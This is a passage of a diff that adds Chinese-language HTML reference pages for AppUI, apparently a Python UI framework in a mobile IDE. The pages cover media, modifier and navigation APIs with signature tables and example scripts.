+                appui.CameraPicker(
+                    source="front",
+                    media_type="photo",
+                    on_captured=receive_capture,
+                    label=appui.Label("Take Photo", system_image="camera"),
+                ),
+                appui.Text(state.last_path or "No capture yet")
+                    .font("footnote")
+                    .foreground_color("secondaryLabel"),
+            ])
+        ]).navigation_title("Camera")
+    )
+
+
+appui.run(body, state=state)
+
+
+
+ python +
+
+
import appui
+
+state = appui.State(files=[])
+
+
+def receive_files(paths):
+    state.files = paths or []
+
+
+def body():
+    rows = [
+        appui.Text(path).font("footnote").line_limit(1)
+        for path in state.files
+    ]
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Import", [
+                appui.FileImporter(
+                    allowed_types=["text", "pdf", "csv"],
+                    allows_multiple=True,
+                    on_picked=receive_files,
+                    label=appui.Label("Import Files", system_image="folder"),
+                ),
+            ]),
+            appui.Section("Files", rows or [
+                appui.ContentUnavailableView(
+                    "No file",
+                    system_image="doc",
+                    description="Import a document first",
+                )
+            ]),
+        ]).navigation_title("Files")
+    )
+
+
+appui.run(body, state=state)
+
+

#视频、网页和地图

+

#VideoPlayer {#video-player}

+

#PlayerController {#player-controller}

+

#WebView {#webview}

+

#视频 API 选择规则

+
场景推荐写法说明
只需要在页面里显示并播放一个视频VideoPlayer(url=...)最简单,适合普通预览、详情页视频。
Mini App 需要播放/暂停/seek/倍速/进度保存/PiP 状态PlayerController + VideoPlayer(player=player)AppUI 视频类应用的主入口。
不写 AppUI 页面,只写脚本播放音视频import avplayer脚本级媒体能力;AppUI 新页面不要优先用它控制内嵌播放器。
+
API签名分类
VideoPlayerVideoPlayer(url: str = '', autoplay: bool = False, loop: bool = False, show_controls: bool = True, presentation: str = 'inline', allows_fullscreen: bool = True, allows_pip: bool = True, allows_airplay: bool = True, video_gravity: str = 'resizeAspect', enters_fullscreen_when_playback_begins: bool = False, exits_fullscreen_when_playback_ends: bool = True, showControls: Optional[bool] = None, allowsFullscreen: Optional[bool] = None, allowsPiP: Optional[bool] = None, allowsPictureInPicture: Optional[bool] = None, allowsAirPlay: Optional[bool] = None, videoGravity: Optional[str] = None, entersFullscreenWhenPlaybackBegins: Optional[bool] = None, exitsFullscreenWhenPlaybackEnds: Optional[bool] = None, allows_picture_in_picture: Optional[bool] = None, player: Optional[PlayerController] = None, player_id: Optional[str] = None, pause_on_disappear: Optional[bool] = None)media
PlayerControllerPlayerController(id: str = 'main', url: str = '', autoplay: bool = False, loop: bool = False, rate: float = 1.0, volume: float = 1.0, allows_pip: bool = True, allows_airplay: bool = True, video_gravity: str = 'resizeAspect', pause_on_disappear: bool = True)公开类型
WebViewWebView(url: Optional[str] = None, html: Optional[str] = None)media
MapViewMapView(latitude: float = 37.7749, longitude: float = -122.4194, span: float = 0.05, markers: Optional[Sequence[Dict[str, Any]]] = None, map_style: str = 'automatic', mapStyle: Optional[str] = None)media
ShareLinkShareLink(item: str = '', subject: Optional[str] = None, message: Optional[str] = None)control
+

VideoPlayer(url=...) 适合只展示并播放一个视频。视频类 Mini App 需要恢复播放进度、切集、外部按钮控制、倍速、音量或 PiP 状态时,先创建 PlayerController,再传给 VideoPlayer(player=player)。AppUI 页面不要再额外 import avplayer 去控制同一块内嵌视频;PlayerController 已经是 AppUI 的播放器控制入口。

+

PlayerController 默认 pause_on_disappear=True,页面退出或视图消失时会暂停对应播放器,避免视频声音继续播放。确实需要离开页面后继续播放时,显式传 pause_on_disappear=False

+
+
+ python +
+
+
import appui
+
+player = appui.PlayerController(
+    id="episode-player",
+    url="https://example.com/video.mp4",
+    autoplay=True,
+    allows_pip=True,
+    pause_on_disappear=True,
+)
+
+
+@player.on_progress(interval=5)
+def save_progress(seconds):
+    print("progress", seconds)
+
+
+def skip_forward():
+    player.seek(player.current_time + 30)
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.VideoPlayer(player=player).frame(height=220),
+            appui.HStack([
+                appui.Button("Play", action=player.play),
+                appui.Button("Pause", action=player.pause),
+                appui.Button("Skip", action=skip_forward),
+            ]),
+        ], spacing=12)
+        .padding()
+        .navigation_title("Player")
+    )
+
+
+appui.run(body)
+
+
+
+ python +
+
+
import appui
+
+
+def body():
+    markers = [
+        {"latitude": 35.68, "longitude": 139.76, "title": "Tokyo"},
+        {"latitude": 35.69, "longitude": 139.70, "title": "Shinjuku"},
+    ]
+
+    return appui.NavigationStack(
+        appui.ScrollView(
+            appui.VStack([
+                appui.MapView(
+                    latitude=35.68,
+                    longitude=139.76,
+                    span=0.12,
+                    markers=markers,
+                    map_style="standard",
+                ).frame(height=220),
+                appui.WebView(html="<h1>AppUI</h1><p>Inline HTML content.</p>")
+                    .frame(height=180),
+            ], spacing=16)
+            .padding()
+        ).navigation_title("Map & Web")
+    )
+
+
+appui.run(body)
+
+

#加载状态和权限

+
API空值或失败时的表现建议
AsyncImage无占位时可能显示空白;失败时使用 error_view总是提供 placeholdererror_view
PhotoPicker用户取消时可能返回空列表。on_picked 中处理 []None
CameraPicker用户拒绝权限、取消或设备不可用时可能没有路径。on_captured 中处理空路径并显示说明。
FileImporter用户取消时不会产生有效路径;部分外部文件类型可能无法读取。默认保持 copy=True,在 on_picked 中处理 []None
VideoPlayerurl 没有有效播放源。文档示例可展示空控件,真实应用必须传可播放地址。
WebView未传 url / html 时没有明确内容。显式传 URL 或 HTML。
MapView无标记也能显示中心点。span 不要过大,标记字典至少包含 latitudelongitude
ShareLinkitem 为空时分享面板没有有意义内容。先在状态或函数里生成可读文本、URL 或文件路径。
+

#与相邻 API 的区别

+
API不同点
Image vs LabelImage 只有图像;Label 是图标和标题组合,按钮和列表行更常用。
Image vs AsyncImageImage 用本地资源或 SF Symbol;AsyncImage 从网络 URL 加载。
PhotoPicker vs CameraPickerPhotoPicker 从已有媒体库选择;CameraPicker 创建新媒体。
PhotoPicker vs FileImporterPhotoPicker 只面向相册媒体;FileImporter 从 Files App 或文档提供方导入普通文件。
WebView vs LinkWebView 在 AppUI 内嵌网页;Link 打开系统浏览器。
VideoPlayer vs WebView视频用 VideoPlayer,不要用 WebView 包一层视频网页来播放。
+

#常见错误

+
错误正确做法
AsyncImage 不设固定高度,加载后布局跳动。.frame(height=...) 固定媒体区域。
网络图片使用 "fill" 但忘记 .clipped()填充裁切时加 .clipped()
相册或相机回调假设一定有路径。对空列表、空字符串和权限拒绝做处理。
需要普通文档却用 PhotoPickerFileImporter(allowed_types=[...], on_picked=...)
Image(...).on_tap(...) 模拟按钮。可点击媒体动作使用 Button(content=appui.Image(...))Button(content=appui.Label(...))
在用户文档里混用命令式 ui 写法。AppUI 文档只展示声明式 body() + appui.run(...)
+

#相关文档

+
文档用途
控件 APIButton、Label、Picker 和输入控件。
图表与画布 APIChart、Canvas、DrawingContext、Path。
性能指南媒体和大数据刷新时的性能边界。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-modifiers/index.html b/docs/docs/pages/appui-ref-modifiers/index.html new file mode 100644 index 0000000..7648e4a --- /dev/null +++ b/docs/docs/pages/appui-ref-modifiers/index.html @@ -0,0 +1,391 @@ + + + + + + 修饰符 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

修饰符 API

+

外观、布局、导航、交互和可访问性修饰符。

+
+ +
+

修饰符是所有 View 都能链式调用的行为。推荐顺序是:内容语义、文字样式、尺寸约束、交互、呈现、外观背景。顺序会影响布局和命中区域,例如先 .padding().background(...) 会让背景包住内边距。

+

#什么时候用

+
目标首选修饰符
调整尺寸和间距.frame(...).padding(...).fixed_size(...).layout_priority(...)
文本和图标样式.font(...).foreground_color(...).line_limit(...).minimum_scale_factor(...)
背景和视觉效果.background(...).corner_radius(...).shadow(...).opacity(...).blur(...)
页面导航.navigation_title(...).toolbar(...).navigation_destination(...)
控件样式.button_style(...).list_style(...).picker_style(...).text_field_style(...)
交互.on_tap(...).on_long_press(...).on_drag(...).task(...)
模态和列表行为.sheet(...).alert(...).confirmation_dialog(...).swipe_actions(...)
焦点和键盘.focused(...).submit_label(...).on_submit(...).keyboard_dismiss(...)
可访问性.accessibility_label(...).accessibility_hidden(...)
+

#最小正确示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(tapped=0, show_alert=False)
+
+
+def tap_card():
+    state.tapped += 1
+    state.show_alert = True
+
+
+def close_alert():
+    state.show_alert = False
+
+
+def body():
+    card = (
+        appui.VStack([
+            appui.Text("Modifier Card")
+                .font("headline")
+                .foreground_color("label"),
+            appui.Text(f"Tapped {state.tapped} times")
+                .font("footnote")
+                .foreground_color("secondaryLabel")
+                .line_limit(1),
+        ], alignment="leading", spacing=6)
+        .frame(max_width=appui.infinity, alignment="leading")
+        .padding(16)
+        .background("secondarySystemBackground", corner_radius=8)
+        .content_shape("rect")
+        .on_tap(tap_card)
+        .accessibility_label("Modifier demo card")
+        .alert(
+            "Tapped",
+            message="The card received a tap.",
+            is_presented=state.show_alert,
+            on_dismiss=close_alert,
+        )
+    )
+
+    return appui.NavigationStack(
+        appui.VStack([card], spacing=16)
+        .padding(20)
+        .navigation_title("Modifiers")
+    )
+
+
+appui.run(body, state=state)
+
+

#标识和布局

+
API签名所属类型
.id.id(key: str) -> SelfView
.padding.padding(value: Optional[float] = None, edges: Optional[str] = None, *, horizontal: Optional[float] = None, vertical: Optional[float] = None, top: Optional[float] = None, bottom: Optional[float] = None, leading: Optional[float] = None, trailing: Optional[float] = None, **kwargs: Any) -> SelfView
.frame.frame(width: Optional[float] = None, height: Optional[float] = None, min_width: Optional[float] = None, max_width: Optional[Union[float, str]] = None, min_height: Optional[float] = None, max_height: Optional[Union[float, str]] = None, alignment: Optional[str] = None, **kwargs: Any) -> SelfView
.offset.offset(x: float = 0, y: float = 0) -> SelfView
.position.position(x: float = 0, y: float = 0) -> SelfView
.ignore_safe_area.ignore_safe_area(edges: str = 'all', regions: str = 'all') -> SelfView
.fixed_size.fixed_size(horizontal: bool = True, vertical: bool = True) -> SelfView
.layout_priority.layout_priority(value: float) -> SelfView
.alignment_guide.alignment_guide(alignment: str = 'center', compute_value: Optional[float] = None) -> SelfView
.container_relative_frame.container_relative_frame(axis: str = 'vertical', count: int = 1, span: int = 1, spacing: float = 8) -> SelfView
.safe_area_inset.safe_area_inset(edge: str = 'bottom', content: Optional["View"] = None, spacing: Optional[float] = None) -> SelfView
+

#外观和视觉

+
API签名所属类型
.font.font(name: Optional[str] = None, size: Optional[float] = None, weight: Optional[str] = None, design: Optional[str] = None) -> SelfView
.bold.bold() -> SelfView
.italic.italic() -> SelfView
.foreground_color.foreground_color(color: ColorLike) -> SelfView
.foreground_style.foreground_style(style: Any) -> SelfView
.background.background(color: Optional[ColorLike] = None, corner_radius: float = 0, gradient: Optional[Sequence[ColorLike]] = None, gradient_type: str = 'linear', material: Optional[str] = None, cornerRadius: Optional[float] = None, gradientType: Optional[str] = None, opacity: Optional[float] = None, **kwargs: Any) -> SelfView
.opacity.opacity(value: float) -> SelfView
.corner_radius.corner_radius(value: float) -> SelfView
.clip_shape.clip_shape(shape: str) -> SelfView
.clipped.clipped() -> SelfView
.shadow.shadow(color: Optional[ColorLike] = None, radius: float = 5, x: float = 0, y: float = 2) -> SelfView
.border.border(color: ColorLike, width: float = 1) -> SelfView
.overlay.overlay(content: "View") -> SelfView
.tint.tint(color: ColorLike) -> SelfView
.mask.mask(content: "View") -> SelfView
.drawing_group.drawing_group() -> SelfView
.blur.blur(radius: float) -> SelfView
.brightness.brightness(amount: float) -> SelfView
.contrast.contrast(amount: float) -> SelfView
.saturation.saturation(amount: float) -> SelfView
.grayscale.grayscale(amount: float) -> SelfView
+

#导航和工具栏

+
API签名所属类型
.navigation_title.navigation_title(title: Union[str, "View"]) -> SelfView
.navigation_bar_title_display_mode.navigation_bar_title_display_mode(mode: str) -> SelfView
.navigation_bar_back_button_hidden.navigation_bar_back_button_hidden(value: bool = True) -> SelfView
.toolbar.toolbar(items: Any) -> SelfView
.toolbar_background.toolbar_background(visibility: str = 'visible', bars: str = 'navigation_bar') -> SelfView
.toolbar_color_scheme.toolbar_color_scheme(scheme: str = 'dark', bars: str = 'navigation_bar') -> SelfView
.navigation_destination.navigation_destination(is_presented: bool = False, content: Optional["View"] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> SelfView
+

#控件样式

+
API签名所属类型
.button_style.button_style(style: str) -> SelfView
.list_style.list_style(style: str) -> SelfView
.text_field_style.text_field_style(style: str) -> SelfView
.toggle_style.toggle_style(style: str) -> SelfView
.tab_view_style.tab_view_style(style: str) -> SelfView
.picker_style.picker_style(style: str) -> SelfView
.gauge_style.gauge_style(style: str) -> SelfView
.progress_view_style.progress_view_style(style: str) -> SelfView
.date_picker_style.date_picker_style(style: str) -> SelfView
+

#交互

+
API签名所属类型
.on_tap.on_tap(action: Callable) -> SelfView
.on_appear.on_appear(action: Callable) -> SelfView
.on_disappear.on_disappear(action: Callable) -> SelfView
.on_long_press.on_long_press(action: Optional[Callable] = None, min_duration: float = 0.5, minDuration: Optional[float] = None, on_pressing: Optional[Callable] = None, onPressing: Optional[Callable] = None) -> SelfView
.on_drag.on_drag(on_changed: Optional[Callable] = None, on_ended: Optional[Callable] = None, onChanged: Optional[Callable] = None, onEnded: Optional[Callable] = None) -> SelfView
.on_magnification.on_magnification(on_changed: Optional[Callable] = None, on_ended: Optional[Callable] = None, onChanged: Optional[Callable] = None, onEnded: Optional[Callable] = None) -> SelfView
.on_rotation.on_rotation(on_changed: Optional[Callable] = None, on_ended: Optional[Callable] = None, onChanged: Optional[Callable] = None, onEnded: Optional[Callable] = None) -> SelfView
.on_drop.on_drop(action: Callable) -> SelfView
.on_geometry.on_geometry(action: Callable) -> SelfView
.task.task(action: Callable) -> SelfView
.disabled.disabled(value: bool = True) -> SelfView
.hidden.hidden() -> SelfView
.simultaneous_gesture.simultaneous_gesture(gesture: str = 'tap', callback: Optional[Callable] = None, on_changed: Optional[Callable] = None, min_duration: float = 0.5) -> SelfView
.high_priority_gesture.high_priority_gesture(gesture: str = 'tap', callback: Optional[Callable] = None, min_duration: float = 0.5) -> SelfView
+

#呈现和列表行为

+
API签名所属类型
.alert.alert(title: str, message: str = '', is_presented: bool = False, on_dismiss: Optional[Callable] = None, actions: Optional[Sequence["View"]] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> SelfView
.sheet.sheet(is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, on_dismiss: Optional[Callable] = None, detents: Optional[str] = None, drag_indicator: Optional[str] = None, interactive_dismiss_disabled: bool = False, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None, dragIndicator: Optional[str] = None, interactiveDismissDisabled: Optional[bool] = None) -> SelfView
.full_screen_cover.full_screen_cover(is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> SelfView
.confirmation_dialog.confirmation_dialog(title: str, is_presented: bool = False, actions: Optional[Sequence["View"]] = None, message: str = '', on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> SelfView
.context_menu.context_menu(content: Optional[Sequence["View"]] = None) -> SelfView
.searchable.searchable(text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, placement: str = 'automatic', prompt: Optional[str] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> SelfView
.swipe_actions.swipe_actions(edge: str = 'trailing', content: Optional[Sequence["View"]] = None, actions: Optional[Sequence["View"]] = None) -> SelfView
.refreshable.refreshable(action: Optional[Callable] = None) -> SelfView
.badge.badge(count: Any) -> SelfView
.popover.popover(is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> SelfView
.inspector.inspector(is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, on_dismiss: Optional[Callable] = None) -> SelfView
+

#动画和变换

+
API签名所属类型
.animation.animation(type: str = 'default', value: Optional[Any] = None) -> SelfView
.transition.transition(type: str = 'opacity') -> SelfView
.scale_effect.scale_effect(scale: float) -> SelfView
.rotation_effect.rotation_effect(degrees: float) -> SelfView
.rotation_3d_effect.rotation_3d_effect(degrees: float, x: float = 0, y: float = 0, z: float = 0) -> SelfView
.matched_geometry_effect.matched_geometry_effect(ns_id: Optional[str] = None, namespace: Optional[str] = None, is_source: bool = True, nsId: Optional[str] = None, isSource: Optional[bool] = None) -> SelfView
.content_transition.content_transition(type: str = 'opacity') -> SelfView
.phase_animator.phase_animator(phases: Optional[Sequence[float]] = None, effect: str = 'scale_opacity', scale_range: float = 0.1, opacity_range: float = 0.2, duration: float = 0.6, animation: str = 'easeInOut') -> SelfView
+

#焦点、键盘和文本

+
API签名所属类型
.focused.focused(field_id: Union[bool, str, None] = None, equals: Optional[str] = None, fieldId: Union[bool, str, None] = None, key: Optional[str] = None) -> SelfView
.submit_label.submit_label(label: str) -> SelfView
.on_submit.on_submit(action: Callable) -> SelfView
.keyboard_dismiss.keyboard_dismiss(mode: str = 'interactive') -> SelfView
.line_limit.line_limit(limit: Optional[int]) -> SelfView
.multiline_text_alignment.multiline_text_alignment(alignment: str) -> SelfView
.truncation_mode.truncation_mode(mode: str) -> SelfView
.minimum_scale_factor.minimum_scale_factor(factor: float) -> SelfView
.strikethrough.strikethrough(active: bool = True, color: Optional[ColorLike] = None) -> SelfView
.underline.underline(active: bool = True, color: Optional[ColorLike] = None) -> SelfView
+

#列表行和滚动

+
API签名所属类型
.list_row_background.list_row_background(color: ColorLike) -> SelfView
.list_row_separator.list_row_separator(visibility: str = 'hidden') -> SelfView
.list_row_insets.list_row_insets(top: float = 0, leading: float = 0, bottom: float = 0, trailing: float = 0) -> SelfView
.scroll_content_background.scroll_content_background(visibility: str = 'hidden') -> SelfView
.scroll_position.scroll_position(id: Optional[str] = None) -> SelfView
.scroll_target_layout.scroll_target_layout(enabled: bool = True) -> SelfView
.scroll_target_behavior.scroll_target_behavior(mode: str = 'view_aligned') -> SelfView
.default_scroll_anchor.default_scroll_anchor(anchor: str = 'top') -> SelfView
.scroll_clip_disabled.scroll_clip_disabled(disabled: bool = True) -> SelfView
.content_margins.content_margins(edges: str = 'all', length: Optional[float] = None, **kwargs: Any) -> SelfView
.scroll_transition.scroll_transition(axis: str = 'vertical', transition: str = 'identity') -> SelfView
+

#可访问性、环境和其他

+
API签名所属类型
.accessibility_label.accessibility_label(label: str) -> SelfView
.accessibility_hidden.accessibility_hidden(value: bool = True) -> SelfView
.symbol_effect.symbol_effect(effect: str = 'bounce', is_active: bool = True, value: Optional[Any] = None) -> SelfView
.sensory_feedback.sensory_feedback(style: str = 'impact', trigger: Optional[str] = None) -> SelfView
.preferred_color_scheme.preferred_color_scheme(scheme: str) -> SelfView
.environment_value.environment_value(key: str, value: Any) -> SelfView
.z_index.z_index(value: float) -> SelfView
.content_shape.content_shape(shape: str = 'rect') -> SelfView
+

#CamelCase 别名

+

AppUI 保留 camelCase 兼容别名,例如 foregroundColornavigationTitlebuttonStyleonTapfullScreenCoverconfirmationDialogkeyboardDismisssafeAreaInsettoolbarBackground。新文档和新示例统一使用 snake_case,因为它和 Python 代码风格一致,也更容易统一检索和维护。

+

#与相邻 API 的区别

+
API不同点
.padding vs .framepadding 改内容周围空白;frame 改视图可用尺寸。
.offset vs .positionoffset 视觉偏移但保留原位置;position 在父容器内指定中心点。
.background vs .overlaybackground 在后面绘制;overlay 在上面绘制。
.hidden vs 条件渲染.hidden() 保留空间;条件不返回该视图会释放空间。
.disabled vs 不传 action.disabled(True) 保留控件样式和布局;不传 action 可能让交互语义不清。
.sheet vs .navigation_destinationsheet 是模态任务;navigation destination 是页面栈推进。
+

#常见错误

+
错误正确做法
.background(...).padding(...),背景没有包住内边距。常见卡片顺序是内容样式、.frame(...).padding(...).background(...)
文字放在窄按钮里不设截断或缩放。使用 .line_limit(1).minimum_scale_factor(...) 或调整布局。
给列表中每一行都加重阴影和 drawing_group()列表里保持轻量,复杂视觉尽量放到少量静态视图。
使用 CamelCase 和 snake_case 混写。用户文档和示例统一写 snake_case。
手势命中区域太小。给可点击区域加 .content_shape("rect"),并确保有足够 .padding(...)
+

#相关文档

+
文档用途
布局 API容器、网格、滚动和安全区。
呈现 APIalert、sheet、popover、context menu、swipe actions。
交互指南手势、焦点、键盘和菜单的完整模式。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-navigation/index.html b/docs/docs/pages/appui-ref-navigation/index.html new file mode 100644 index 0000000..37fb9f1 --- /dev/null +++ b/docs/docs/pages/appui-ref-navigation/index.html @@ -0,0 +1,535 @@ + + + + + + 导航 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

导航 API

+

NavigationStack、NavigationLink、TabView、ToolbarItem。

+
+ +
+

本页覆盖 NavigationStackNavigationLinkNavigationSplitViewTabViewTabNavigationPathToolbarItemToolbarSpacer。页面级结构优先用这些原生导航容器,不要用手写按钮去模拟系统导航。

+

#什么时候用

+
目标首选 API说明
普通推入详情页NavigationStack + NavigationLink列表到详情、设置项到二级页。
代码控制 push/popNavigationStack(path=...) + NavigationPath登录流程、分步表单、点击完成后跳转。
多个主栏目TabView + Tab首页、搜索、我的等顶层导航。
iPad 多列NavigationSplitView侧边栏 + 详情页,可加 supplementary 第三列。
顶栏/底栏命令.toolbar([...]) + ToolbarItem保存、关闭、编辑、分享等页面命令。
+

#最小正确示例

+
+
+ python +
+
+
import appui
+
+items = [
+    {"id": "a", "title": "Alpha", "status": "Ready"},
+    {"id": "b", "title": "Beta", "status": "Draft"},
+]
+
+
+def item_key(item):
+    return item["id"]
+
+
+def detail_view(item):
+    return (
+        appui.Form([
+            appui.Section("详情", [
+                appui.LabeledContent("Title", value=item["title"]),
+                appui.LabeledContent("Status", value=item["status"]),
+            ])
+        ])
+        .navigation_title(item["title"])
+        .toolbar([
+            appui.ToolbarItem(
+                placement="navigation_bar_trailing",
+                content=appui.CloseButton(),
+                role="close",
+            )
+        ])
+    )
+
+
+def row_view(item):
+    return appui.NavigationLink(
+        destination=detail_view(item),
+        label=appui.Label(item["title"], system_image="doc.text"),
+    )
+
+
+def body():
+    root = appui.List([
+        appui.Section("Items", [
+            appui.ForEach(items, row_builder=row_view, key=item_key)
+        ])
+    ]).navigation_title("Navigation")
+
+    return appui.NavigationStack(root)
+
+
+appui.run(body)
+
+

#导航容器签名

+
API签名分类
NavigationStackNavigationStack(content: Optional[View] = None, path: Optional[NavigationPath] = None, destinations: Optional[Dict[str, Callable]] = None)navigation
NavigationViewNavigationView = NavigationStack兼容别名
NavigationLinkNavigationLink(title: Optional[str] = None, destination: Optional[View] = None, label: Optional[View] = None)navigation
NavigationSplitViewNavigationSplitView(sidebar: Optional[View] = None, detail: Optional[View] = None, supplementary: Optional[View] = None, column_visibility: str = 'all')navigation
TabViewTabView(tabs: Optional[Sequence["Tab"]] = None, selection: Optional[int] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)navigation
TabTab(title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, content: Optional[View] = None, badge: Optional[int] = None, tag: Optional[int] = None, systemImage: Optional[str] = None, role: Optional[str] = None, key: Optional[str] = None)navigation
NavigationPathNavigationPath()公开类型
ToolbarItemToolbarItem(placement: str = 'automatic', content: Optional[View] = None, role: Optional[str] = None)presentation
ToolbarSpacerToolbarSpacer(sizing: str = 'fixed', placement: str = 'automatic')presentation
+ +
API签名所属类型
appendappend(view_or_value: Union["View", str, int, Dict[str, Any]]) -> NoneNavigationPath
poppop(count: int = 1) -> NoneNavigationPath
pop_to_rootpop_to_root() -> NoneNavigationPath
replacereplace(items: Sequence[Any]) -> NoneNavigationPath
+
+
+ python +
+
+
import appui
+
+path = appui.NavigationPath()
+
+
+def open_profile():
+    path.append("profile")
+
+
+def go_root():
+    path.pop_to_root()
+
+
+def make_destination(route):
+    if route == "profile":
+        return appui.Form([
+            appui.Section("Profile", [
+                appui.Text("Programmatic destination"),
+                appui.Button("Back to root", action=go_root),
+            ])
+        ]).navigation_title("Profile")
+    return appui.Text("Unknown").navigation_title("Unknown")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Actions", [
+                appui.Button("Open profile", action=open_profile),
+            ])
+        ]).navigation_title("Root"),
+        path=path,
+        destinations={"profile": make_destination},
+    )
+
+
+appui.run(body)
+
+

#TabView 示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(tab=0, enabled=True)
+
+
+def set_tab(value):
+    state.tab = value
+
+
+def set_enabled(value):
+    state.enabled = value
+
+
+def home_view():
+    return appui.NavigationStack(
+        appui.Text("Home").padding().navigation_title("Home")
+    )
+
+
+def settings_view():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Settings", [
+                appui.Toggle(
+                    "Enabled",
+                    is_on=state.enabled,
+                    on_change=set_enabled,
+                ),
+            ])
+        ]).navigation_title("Settings")
+    )
+
+
+def body():
+    return appui.TabView(
+        tabs=[
+            appui.Tab("Home", system_image="house", content=home_view(), tag=0),
+            appui.Tab("Settings", system_image="gear", content=settings_view(), tag=1),
+        ],
+        selection=state.tab,
+        on_change=set_tab,
+    )
+
+
+appui.run(body, state=state)
+
+

#底部附件与原生 Sheet

+

持续任务可以用 .tab_view_bottom_accessory(...) 显示底部常驻状态条,再用 .sheet(...) 打开完整面板。这样底部条仍由 iOS 26 TabView 原生区域承载,展开页则交给系统 sheet 处理圆角、拖拽条、下拉关闭和 detents。

+
+
+ python +
+
+
import appui
+
+state = appui.State(show_panel=False)
+
+
+def open_panel():
+    state.show_panel = True
+
+
+def close_panel():
+    state.show_panel = False
+
+
+def compact_bar():
+    return appui.HStack([
+        appui.Image(system_name="arrow.down.circle.fill").foreground_color("systemBlue"),
+        appui.VStack([
+            appui.Text("下载中").font("subheadline").bold(),
+            appui.Text("42% · 3 个任务").font("caption").foreground_style("secondary"),
+        ], alignment="leading", spacing=2)
+        .frame(max_width=appui.infinity, alignment="leading"),
+        appui.Image(system_name="chevron.up").foreground_color("secondaryLabel"),
+    ], spacing=10).padding(horizontal=14, vertical=10)
+
+
+def expanded_panel():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("任务", [
+                appui.LabeledContent("当前进度", value="42%"),
+                appui.LabeledContent("剩余任务", value="3"),
+                appui.Button("完成", action=close_panel),
+            ])
+        ]).navigation_title("下载")
+    )
+
+
+def body():
+    tabs = appui.TabView(tabs=[
+        appui.Tab("首页", system_image="house", content=appui.Text("Home"), tag=0),
+        appui.Tab("设置", system_image="gear", content=appui.Text("Settings"), tag=1),
+    ])
+    return tabs.tab_view_bottom_accessory(
+        compact_bar().content_shape("rect").on_tap(open_panel)
+    ).sheet(
+        is_presented=state.show_panel,
+        on_dismiss=close_panel,
+        content=expanded_panel,
+        detents="medium_large",
+        drag_indicator="visible",
+    )
+
+
+appui.run(body, state=state)
+
+

紧凑条会放在底部系统区域;点击后打开原生 sheet。不要再额外给同一个 TabView 挂底部 safe_area_bar,否则会和底部附件争同一块区域。需要更像系统媒体 App 的体验时,优先把完整播放器设计成适合 sheet 的内容,而不是自定义全屏 overlay。

+

#常用修饰符

+
API签名所属类型
.navigation_title.navigation_title(title: Union[str, "View"]) -> SelfView
.navigation_bar_title_display_mode.navigation_bar_title_display_mode(mode: str) -> SelfView
.navigation_bar_back_button_hidden.navigation_bar_back_button_hidden(value: bool = True) -> SelfView
.toolbar.toolbar(items: Any) -> SelfView
.toolbar_background.toolbar_background(visibility: str = 'visible', bars: str = 'navigation_bar') -> SelfView
.toolbar_color_scheme.toolbar_color_scheme(scheme: str = 'dark', bars: str = 'navigation_bar') -> SelfView
.navigation_destination.navigation_destination(is_presented: bool = False, content: Optional["View"] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> SelfView
.safe_area_bar.safe_area_bar(edge: str = 'bottom', content: Optional["View"] = None, alignment: str = 'center', spacing: Optional[float] = None, safeAreaEdge: Optional[str] = None) -> SelfView
.tab_view_bottom_accessory.tab_view_bottom_accessory(content: Optional["View"] = None, enabled: bool = True, is_enabled: Optional[bool] = None, isEnabled: Optional[bool] = None) -> SelfView
.tab_bar_minimize_behavior.tab_bar_minimize_behavior(behavior: str = 'automatic') -> SelfView
.tab_view_search_activation.tab_view_search_activation(activation: str = 'search_tab_selection') -> SelfView
+

#与相邻 API 的区别

+
API不同点
NavigationLink vs NavigationPathNavigationLink 适合用户点击某一行进入详情;NavigationPath 适合业务逻辑主动跳转。
TabView vs NavigationStackTabView 是顶层栏目切换;每个 Tab 里面通常再放自己的 NavigationStack
NavigationSplitView vs TabViewNavigationSplitView 是同一任务的多列信息架构;TabView 是多个任务域的顶层切换。
.toolbar vs 页面正文按钮页面级命令放工具栏;内容相关动作放在表单、列表或卡片中。
.tab_view_bottom_accessory vs .sheet前者只显示底部常驻紧凑条;后者打开完整面板、表单或播放器页。
.tab_view_bottom_accessory vs .safe_area_bar前者是 TabView 的系统底部附件;后者是普通安全区插入内容,不要同时挂在同一个底部区域。
CloseButton vs 普通 Button关闭 MiniApp 时使用 CloseButtonToolbarItem(role="close"),系统能识别关闭语义。
ToolbarSpacer vs 空白 SpacerToolbarSpacer 是工具栏项;正文布局留白继续用 Spacer
+

#常见错误

+
错误正确做法
只用 VStack 加按钮模拟页面切换。使用 NavigationStackNavigationLinkNavigationPath
